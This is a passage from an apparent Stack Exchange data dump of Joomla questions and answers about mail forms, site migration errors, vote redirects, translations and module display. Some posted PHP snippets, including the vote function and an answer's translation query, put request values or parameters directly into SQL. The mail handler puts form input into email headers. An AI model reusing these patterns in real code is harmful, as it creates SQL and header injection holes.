= $_POST['country']; &#xA;$quantity = $_POST['quantity'];&#xA;$wine = $_POST['wine'];&#xA;$message = $_POST['message'];&#xA;&#xA;&#xA;$messaggio = &quot;Richiesta di preventivo da: &quot;.$name.&quot;&#xA;              E-mail: &quot;.$email.&quot;&#xA;              Paese: &quot;.$country.&quot;&#xA;              Quantità: &quot;.$quantity.&quot;&#xA;              Vino: &quot;.$wine.&quot;&#xA;              Richiesta: &quot;.$message.&quot;&quot;;&#xA;&#xA;// Valorizzo le variabili relative all'allegato&#xA;$allegato = $_FILES['allegato-visura']['tmp_name'];&#xA;$allegato_type = $_FILES['allegato-visura']['type'];&#xA;$allegato_name = $_FILES['allegato-visura']['name'];&#xA;&#xA;// Creo 2 variabili che riempirò più avanti...&#xA;$headers = &quot;From: &quot; . $name;&#xA;$msg = &quot;&quot;;&#xA;&#xA;// Verifico se il file è stato caricato correttamente via HTTP&#xA;// In caso affermativo proseguo nel lavoro...&#xA;if (is_uploaded_file($allegato))&#xA;{&#xA;  // Apro e leggo il file allegato&#xA;  $file = fopen($allegato,'rb');&#xA;  $data = fread($file, filesize($allegato));&#xA;  fclose($file);&#xA;&#xA;  // Adatto il file al formato MIME base64 usando base64_encode&#xA;  $data = chunk_split(base64_encode($data));&#xA;&#xA;  // Genero il &quot;separatore&quot;&#xA;  // Serve per dividere, appunto, le varie parti del messaggio.&#xA;  // Nel nostro caso separerà la parte testuale dall'allegato&#xA;  $semi_rand = md5(time());&#xA;  $mime_boundary = &quot;==Multipart_Boundary_x{$semi_rand}x&quot;;&#xA;&#xA;  // Aggiungo le intestazioni necessarie per l'allegato&#xA;  $headers .= &quot;\nMIME-Version: 1.0\n&quot;;&#xA;  $headers .= &quot;Content-Type: multipart/mixed;\n&quot;;&#xA;  $headers .= &quot; boundary=\&quot;{$mime_boundary}\&quot;&quot;;&#xA;&#xA;  // Definisco il tipo di messaggio (MIME/multi-part)&#xA;  $msg .= &quot;This is a multi-part message in MIME format.\n\n&quot;;&#xA;&#xA;  // Metto il separatore&#xA;  $msg .= &quot;--{$mime_boundary}\n&quot;;&#xA;&#xA;  // Questa è la parte &quot;testuale&quot; del messaggio&#xA;  $msg .= &quot;Content-Type: text/plain; charset=\&quot;iso-8859-1\&quot;\n&quot;;&#xA;  $msg .= &quot;Content-Transfer-Encoding: 7bit\n\n&quot;;&#xA;  $msg .= $messaggio . &quot;\n\n&quot;;&#xA;&#xA;  // Metto il separatore&#xA;  $msg .= &quot;--{$mime_boundary}\n&quot;;&#xA;&#xA;  // Aggiungo l'allegato al messaggio&#xA;  $msg .= &quot;Content-Disposition: attachment;\n&quot;;&#xA;  $msg .= &quot; filename=\&quot;{$allegato_name}\&quot;\n&quot;;&#xA;  $msg .= &quot;Content-Transfer-Encoding: base64\n\n&quot;;&#xA;  $msg .= $data . &quot;\n\n&quot;;&#xA;&#xA;  // chiudo con il separatore&#xA;  $msg .= &quot;--{$mime_boundary}--\n&quot;;&#xA;}&#xA;else&#xA;{&#xA;  $msg = $messaggio;&#xA;}&#xA;&#xA;// Invio la mail&#xA;if (mail($destinatario, $name, $msg, $headers))&#xA;{&#xA;  echo $_SERVER['PHP_SELF'];&#xA;}else{&#xA;  echo &quot;&amp;lt;p&amp;gt;Errore!&amp;lt;/p&amp;gt;&quot;;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried everything but with no success. What could I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for any help.&lt;/p&gt;&#xA;" OwnerUserId="7288" LastEditorUserId="168" LastEditDate="2016-07-18T09:03:49.700" LastActivityDate="2016-08-03T04:52:12.587" Title="Joomla 3.5.1 - Ajax with PHP not send email" Tags="|joomla-3.x|php|ajax|form|" AnswerCount="0" CommentCount="9" FavoriteCount="0" ClosedDate="2019-05-31T22:31:24.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="17199" PostTypeId="1" CreationDate="2016-07-18T09:11:13.950" Score="2" ViewCount="315" Body="&lt;p&gt;I am not familiar with Joomla at all, and I had to change our website's hosting service last week. I saved all data from the former one, exported the database, imported onto new server and uploaded all the files I had saved. &#xA;I now have an Error 0 : &quot;Contrôleur invalide&quot; (in French, I'm not sure about the exact translation) and I have no idea how to fix it. It appears on the homepage, the menus at the top do appear, but not the drop downs on hover, and I have no access to the back-end (&quot;mywebsite.com/administrator&quot;, worked fine before) : Chrome shows &lt;code&gt;ERR_CONTENT_DECODING_FAILED&lt;/code&gt; when trying to access back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Homepage :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FEKdP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FEKdP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;{ You may not be able to visit this page because of:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An out-of-date bookmark/favourite &lt;/li&gt;&#xA;&lt;li&gt;A search engine that has an out-of-date listing for this site&lt;/li&gt;&#xA;&lt;li&gt;A mistyped address&lt;/li&gt;&#xA;&lt;li&gt;You have no access to this page&lt;/li&gt;&#xA;&lt;li&gt;The requested resource was not found&lt;/li&gt;&#xA;&lt;li&gt;An error has occurred while processing your request. }   &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Trying to access back-end :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/l9Pwm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9Pwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8654" LastEditorUserId="8654" LastEditDate="2016-07-18T09:49:52.260" LastActivityDate="2016-07-19T15:57:53.567" Title="Error 0 after changing server host" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17201" PostTypeId="2" ParentId="17199" CreationDate="2016-07-18T09:30:13.440" Score="2" Body="&lt;p&gt;For starting remove the old &lt;code&gt;.htaccess&lt;/code&gt; file if it has been transferred and disable &lt;strong&gt;sef rewrite&lt;/strong&gt; from &lt;strong&gt;global config&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also delete the contents of the &lt;code&gt;cache&lt;/code&gt; folder if you have moved it as it was. See if these seem to have any effect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note that the admin url is &lt;code&gt;www.example.com/administrator&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-18T09:47:12.650" LastActivityDate="2016-07-18T09:47:12.650" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17203" PostTypeId="1" AcceptedAnswerId="17204" CreationDate="2016-07-18T13:57:22.393" Score="3" ViewCount="465" Body="&lt;p&gt;I recently moved a Joomla site to a new server, and for some reason the front end only gives a DB error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 - Could not connect to MySQL.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is usually due to wrong DB connection details in &lt;code&gt;configuration.php&lt;/code&gt;, but the administrator area works perfectly, with no error messages, so I'm sure the DB details are correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is running Joomla 3.6.0 on Apache with PHP 5.5.31.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There where some file permission problems at first, and although everything is  writable now according to Joomla system information, I assume this has something to do with permissions, but I'm at a loss for where to start looking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had similar issues?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-07-18T14:30:43.177" Title="Front end DB error, back end works" Tags="|mysql|file-permissions|joomla-3.6|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17204" PostTypeId="2" ParentId="17203" CreationDate="2016-07-18T14:30:43.177" Score="1" Body="&lt;p&gt;Are you getting the white screen with the message for the sql, or the Joomla system page with the outdated links etc? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I would make sure the restoration on the new server has been done without errors. I mean, it can be some corrupted files. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's a site that you have built, then you know about what extensions you are using, but just in case make sure there is no extension that is being called in the front-end that needs to have credentials to connect to the database. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Clean cache folders, double check configuration file, disable htaccess, check for any other scripts that might try to connect to the database.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-07-18T14:30:43.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17205" PostTypeId="1" CreationDate="2016-07-18T16:06:38.317" Score="1" ViewCount="237" Body="&lt;p&gt;This is the first time I get this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This ocurred after creating a new custom module, which comes with joomla by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, I got blank page and the following error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot redeclare class JEditor in \\WAGNER\WWWROOTAMENPT$\xxxxxx.hostnd\htdocs\www\libraries\cms\editor\editor.php on line 554&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that it happens after trying to create this custom module, but I already deleted and it's still showing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't installed any new extention and everything was working fine, until I created this custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="3371" LastEditDate="2016-07-18T16:54:22.830" LastActivityDate="2017-08-13T21:43:45.763" Title="Fatal error: Cannot redeclare class JEditor" Tags="|joomla-3.x|fatal-error|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17207" PostTypeId="1" AcceptedAnswerId="17219" CreationDate="2016-07-18T19:16:16.743" Score="0" ViewCount="78" Body="&lt;p&gt;how to add auto redirect URL after voting ? its possible? here is the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function vote(){&#xA;    $app = JFactory::getApplication();&#xA;    $params = $app-&amp;gt;getParams();&#xA;    $vote=$params-&amp;gt;get('vote');&#xA;    $db =JFactory::getDBO();&#xA;    $user=JFactory::getUser();&#xA;    $user_id=$user-&amp;gt;id;&#xA;    $vid=JRequest::getVar('vid');&#xA;    $Itemid=JRequest::getVar('Itemid');&#xA;    $ip=$_SERVER['REMOTE_ADDR']; &#xA;    if($ip):&#xA;    $sql=&quot;SELECT COUNT(*) FROM #__photo_contest_ip WHERE item_id='$vid' AND ip_address='$ip'&quot;;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $count=$db-&amp;gt;loadResult();&#xA;    endif;&#xA;&#xA;    if($user_id):&#xA;    $sql=&quot;SELECT COUNT(*) FROM #__photo_contest_ip WHERE item_id='$vid' AND user_id='$user-&amp;gt;id'&quot;;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $count1=$db-&amp;gt;loadResult();&#xA;    endif;&#xA;    if($count || $count1):&#xA;    $msg = JText::_('COM_PHOTO_CONTEST_ITEM_VOTE_ALREADY');&#xA;    else:&#xA;        if($vote==2 &amp;amp;&amp;amp; empty($count)):&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;update('#__photo_contest_photo');&#xA;            $query-&amp;gt;set('votes=votes+1');&#xA;            $query-&amp;gt;where('id='.$vid);    &#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;query();&#xA;            $insert= &quot;INSERT INTO #__photo_contest_ip(ip_address,item_id) values ('$ip','$vid')&quot;;&#xA;            $db-&amp;gt;setQuery($insert);&#xA;            $db-&amp;gt;query();&#xA;&#xA;            if (!$db-&amp;gt;query()) {&#xA;                        $this-&amp;gt;setError($db-&amp;gt;getErrorMsg());&#xA;                        return false;&#xA;             }&#xA;             $msg = JText::_('COM_PHOTO_CONTEST_ITEM_VOTE_SUCCESSFULLY');&#xA;&#xA;&#xA;          elseif($vote==1 &amp;amp;&amp;amp; $user_id&amp;gt;0):&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $query-&amp;gt;update('#__photo_contest_photo');&#xA;            $query-&amp;gt;set('votes=votes+1');&#xA;            $query-&amp;gt;where('id='.$vid);    &#xA;            $db-&amp;gt;setQuery($query);&#xA;            $db-&amp;gt;query();&#xA;            $insert= &quot;INSERT INTO #__photo_contest_ip(ip_address,item_id,user_id) values ('$ip','$vid','$user_id')&quot;;&#xA;            $db-&amp;gt;setQuery($insert);&#xA;            $db-&amp;gt;query();&#xA;&#xA;            if (!$db-&amp;gt;query()) {&#xA;                        $this-&amp;gt;setError($db-&amp;gt;getErrorMsg());&#xA;                        return false;&#xA;             }&#xA;              $msg = JText::_('COM_PHOTO_CONTEST_ITEM_VOTE_SUCCESSFULLY');&#xA;          else:&#xA;              $msg = JText::_('COM_PHOTO_CONTEST_ITEM_VOTE_LOGIN');&#xA;          endif;&#xA;&#xA;&#xA;     endif;&#xA;     $link=JRoute::_('index.php?option=com_photo_contest&amp;amp;view=photocontest&amp;amp;id='.$vid.'&amp;amp;Itemid='.$Itemid, false);&#xA;     $this-&amp;gt;setRedirect($link, $msg);&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8719" LastActivityDate="2016-07-20T05:46:30.850" Title="Auto redirect after vote" Tags="|development|plugin|redirect|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17210" PostTypeId="1" CreationDate="2016-07-19T04:08:15.133" Score="0" ViewCount="94" Body="&lt;p&gt;We wish to give link to full paper download on the article page displaying abstract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We plan to provide 3 fields namely Name,email-id,member no with submit button. Once the user fills the information his name should be registered as a member and the pdf of concerned paper should get downloaded on users machine.&#xA;How this functionality can be incorporated ?&lt;/p&gt;&#xA;" OwnerUserId="8723" LastEditorUserId="7394" LastEditDate="2016-07-20T04:34:47.210" LastActivityDate="2016-07-20T04:36:30.490" Title="Download pdf to be linked with member registration" Tags="|joomla-2.5|extensions|download|" AnswerCount="1" CommentCount="3" ClosedDate="2016-07-20T14:32:23.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="17212" PostTypeId="2" ParentId="17210" CreationDate="2016-07-19T15:43:01.633" Score="1" Body="&lt;p&gt;You can implement this using &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/rsform-pro&quot; rel=&quot;nofollow&quot;&gt;RS Forms&lt;/a&gt; Pro. You build the form (a simple form), and then you create a script in the &quot;On Submit&quot; event of the form that will automatically create create a user and that will automatically cause the PDF to be downloaded on the user's machine (or course, with the user's permission).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some extensions that can do that, but they need some modifications, including Membership Pro and DocMan.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7394" LastEditDate="2016-07-20T04:36:30.490" LastActivityDate="2016-07-20T04:36:30.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17214" PostTypeId="2" ParentId="17205" CreationDate="2016-07-19T15:55:25.430" Score="1" Body="&lt;p&gt;It seems that there is another place that you have the class &quot;JEditor&quot; defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have shell (ssh) access to your server, try running the below under your Joomla directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;grep -R --include=*.php &quot;class JEditor&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should only see one file (which is the &lt;code&gt;/libraries/cms/editor/editor.php&lt;/code&gt; file). If you see 2 files then  your problem is with the second file (it might be loaded by a plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only found one file, then check your plugins for any plugin that you installed lately and disable that plugin (disable plugins one by one in a reverse chronological order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Make sure you delete your Joomla cache.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-19T15:55:25.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17215" PostTypeId="2" ParentId="17199" CreationDate="2016-07-19T15:57:53.567" Score="1" Body="&lt;p&gt;Try disabling gzip compression in the global configuration settings and see if that solves the problem. It might be that your new server does not support gzip compression.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-19T15:57:53.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17219" PostTypeId="2" ParentId="17207" CreationDate="2016-07-19T21:55:12.263" Score="0" Body="&lt;p&gt;Use this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;enqueueMessage($msg, 'Success');&#xA;$app-&amp;gt;redirect($link);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will queue up your system message and then redirect the application to your link.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-07-19T21:55:12.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17220" PostTypeId="2" ParentId="17179" CreationDate="2016-07-19T22:17:36.290" Score="3" Body="&lt;p&gt;Instead of overwriting or modifying the JText class why not just write a function call function in your model that retrieves your translation from the database and return the string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Echo the string in your view after including your model:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//INCLUDE AT THE TOP OF THE LAYOUT FILE&#xA;$mymodel= JModelLegacy::getInstance('ViewName','MyComponentNameModel');&#xA;&#xA;//ECHO OUT TRANSLATION WHERE YOU NEED IT&#xA;echo $mymodel-&amp;gt;getTranslation('MY_TRANSLATION_STRING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Put this in your model file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getTranslation($string)&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $sql = &quot;SELECT text FROM #__mycom_translations WHERE translation = '$string'&quot;;&#xA;    $db-&amp;gt;setQuery($sql);&#xA;    $row = $db-&amp;gt;getObject();&#xA;    return $row-&amp;gt;text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2016-07-22T16:49:10.267" LastActivityDate="2016-07-22T16:49:10.267" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17221" PostTypeId="1" CreationDate="2016-07-20T00:02:36.157" Score="0" ViewCount="25" Body="&lt;p&gt;I'm having a problem with a modal dialog. It's not displaying consistently, and I'm not understanding the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomla.connectdaily.com/index.php/calendar&quot; rel=&quot;nofollow&quot;&gt;http://joomla.connectdaily.com/index.php/calendar&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click on one of the Colorado Rockies events. Note how the Rockies logo encroaches down into the footer div with the close button. Now, click on the &quot;Corner Store Country Run&quot; event on the 9th. Note that the dialog is sized appropriately, and doesn't encroach. I've put a console.log in place to dump the value of myDialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me an idea on what I'm doing wrong here? I'm not &quot;certain&quot;, but I'm pretty sure this behavior wasn't present in 3.5.x.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-07-20T00:02:36.157" Title="Explain Different Dialog Appearances?" Tags="|extensions|jquery|modal|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17223" PostTypeId="1" CreationDate="2016-07-20T11:10:23.620" Score="2" ViewCount="109" Body="&lt;p&gt;I'm triing to find a way to have a single blog from various users, but that all users can have ther own menuitems with their articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do it only with com_content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to filter category blog menuitem by author?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could use subcategories for each, but that would complicate workflow for all and disperse content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="92" LastActivityDate="2018-06-11T11:50:28.503" Title="Category blog from a single user" Tags="|com-content|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17224" PostTypeId="1" CreationDate="2016-07-20T13:49:58.570" Score="0" ViewCount="608" Body="&lt;p&gt;I have had a joomla component 1.5 which is rebuild for joomla 3x&#xA;The URL structure is native URL Structure&#xA;index.php?option=com_productnews&amp;amp;view=list&amp;amp;Itemid=7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - after rebuild the Itemid is changed to 102&#xA;index.php?option=com_productnews&amp;amp;view=list&amp;amp;Itemid=102&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to ensure or reswap in the Old Itemid to it&#xA;Pls advise&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2016-07-27T14:58:13.010" Title="How to change Itemid in Joomla" Tags="|joomla-3.x|itemid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17225" PostTypeId="2" ParentId="17224" CreationDate="2016-07-20T17:14:53.537" Score="-1" Body="&lt;p&gt;Just create a redirect in the &lt;code&gt;.htaccess&lt;/code&gt; file from the old URL to the new URL.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-20T17:14:53.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17226" PostTypeId="1" CreationDate="2016-07-20T18:52:22.427" Score="1" ViewCount="372" Body="&lt;p&gt;I want to display social share plugin in MediaStore component but my skills are not high enough to make it work. Can somebody give me some clues on how to do this?&lt;/p&gt;&#xA;&lt;p&gt;This is how I tried to call the plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.plugin.plugin');&#xA;class plgMediaStoreJoomla extends JPlugin {&#xA;&#xA;    /**&#xA;     * Constructor.&#xA;     *&#xA;     * @param   $subject&#xA;     * @param   array $config&#xA;     */&#xA;    function __construct(&amp;amp;$subject, $config = array()) {&#xA;        // call parent constructor&#xA;        parent::__construct($subject, $config);&#xA;    }&#xA;&#xA;&#xA;&#xA;    /**&#xA;     * onMSProductBeforeDisplay hook.&#xA;     */&#xA;    public function onMSProductBeforeDisplay($context, &amp;amp;$item, &amp;amp;$params) {&#xA;&#xA;        JPluginHelper::importPlugin('content', 'social_share');&#xA;        $dispatcher = JEventDispatcher::getInstance();&#xA;        $app = JFactory::getApplication('site');&#xA;        $app-&amp;gt;initialise();&#xA;        $app-&amp;gt;triggerEvent('onContentAfterTitle');&#xA;&#xA;        $versions   = $item-&amp;gt;params-&amp;gt;get('joomla_versions');&#xA;&#xA;        if (is_array($versions) &amp;amp;&amp;amp; count($versions)) {&#xA;            JHtml::_('stylesheet', 'plg_mediastore_joomla/style.css', array(), true);&#xA;&#xA;            $html   = array();&#xA;            $html[] = '&amp;lt;div class=&amp;quot;joomla-versions&amp;quot;&amp;gt;';&#xA;&#xA;            foreach ($versions as $version) {&#xA;                $html[] = '&amp;lt;span class=&amp;quot;joomla-' . $version . '&amp;quot;&amp;gt;Joomla! ' . $version . '&amp;lt;/span&amp;gt;';&#xA;            }&#xA;&#xA;            $html[] = '&amp;lt;/div&amp;gt;';&#xA;&#xA;            return implode(&amp;quot;\n&amp;quot;, $html);&#xA;        }&#xA;&#xA;        return '';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I get those errors:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: Missing argument 1 for plgContentsocial_share::onContentAfterTitle() in..&lt;/p&gt;&#xA;&lt;p&gt;Trying to get property of non-object in..&lt;/p&gt;&#xA;&lt;p&gt;Notice: Undefined variable: context in..&lt;/p&gt;&#xA;&lt;p&gt;etc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3524" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-11-28T23:23:48.603" Title="Call content plugin in Joomla! component" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17227" PostTypeId="1" CreationDate="2016-07-20T21:04:47.343" Score="0" ViewCount="2031" Body="&lt;p&gt;i wonder how to insert php code in joomla content and custom module without plugins &#xA;when i change the editor from tinyMCE to none i can insert js/css code and they work perfectly but when i insert php ,the code shown commented in the page source!&#xA;is there any method to solve this problem even by core hacking!&lt;/p&gt;&#xA;" OwnerUserId="8448" LastActivityDate="2016-10-19T05:25:24.530" Title="how to run php code in joomla content and custom module without third party plugin" Tags="|articles|module-display|custom-module|custom-action|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17228" PostTypeId="2" ParentId="17223" CreationDate="2016-07-20T23:38:45.310" Score="1" Body="&lt;p&gt;I don't think there is a way to do this with com_content but a third party extension such as Regular Labs Articles Anywhere can help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.regularlabs.com/forum/articlesanywhere/31947-filter-by-article-author-id#&quot; rel=&quot;nofollow&quot;&gt;filter by article author&lt;/a&gt; ID for details.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-07-20T23:44:13.840" LastActivityDate="2016-07-20T23:44:13.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17229" PostTypeId="2" ParentId="17227" CreationDate="2016-07-20T23:44:55.697" Score="0" Body="&lt;p&gt;In &lt;code&gt;System -&amp;gt; Global Configuration&lt;/code&gt;, try setting the Text Filter to &quot;No Filtering&quot; for Super Administrator or whatever group you are a member of when you administer the website.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-07-20T23:44:55.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17230" PostTypeId="1" CreationDate="2016-07-21T03:07:13.620" Score="0" ViewCount="373" Body="&lt;p&gt;I need to run a query that selects records whose date is not within a date range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More exactly, I need the records whose date is not found among their own date and 5 days later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, suppose &lt;em&gt;a.DateSubmitted&lt;/em&gt; contains this date &quot;2016-07-10 00:00:00&quot;. I want to select the record only if a.DateSubmitted is not between &lt;strong&gt;2016-07-10 00:00:00&lt;/strong&gt; and &lt;strong&gt;2016-07-15 00:00:00&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following code, but It does not work. The browser returns me only this: &lt;em&gt;Array ()&lt;/em&gt;, nothing more.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query&#xA;    -&amp;gt;select('a.SubmissionId, a.DateSubmitted, b.SubmissionId, b.FieldName, b.FieldValue')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__rsform_submissions', 'a'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__rsform_submission_values', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.SubmissionId') . ' = ' . $db-&amp;gt;quoteName('b.SubmissionId') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('a.DateSubmitted') . ' NOT BETWEEN \'' . $db-&amp;gt;quoteName('a.DateSubmitted') . '\' AND \'' . date( $db-&amp;gt;quoteName('a.DateSubmitted') , strtotime('+5 day')) . '\'   ');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8699" LastActivityDate="2018-06-19T02:00:58.833" Title="How add days to date into query joomla?" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17231" PostTypeId="2" ParentId="17227" CreationDate="2016-07-21T03:48:02.193" Score="1" Body="&lt;p&gt;CSS and JavaScript are both client-side technologies, so it's enough to put them into your articles or Custom Module and just put appropriate HTML tags around them. With PHP it is impossible because it needs to be executed on the server. When articles are retrieved from DB they are served as content without further post-processing (except content plug-ins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's nothing wrong with using 3rd party plugins whenever appropriate, not sure why you are so against this.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2016-07-21T03:48:02.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
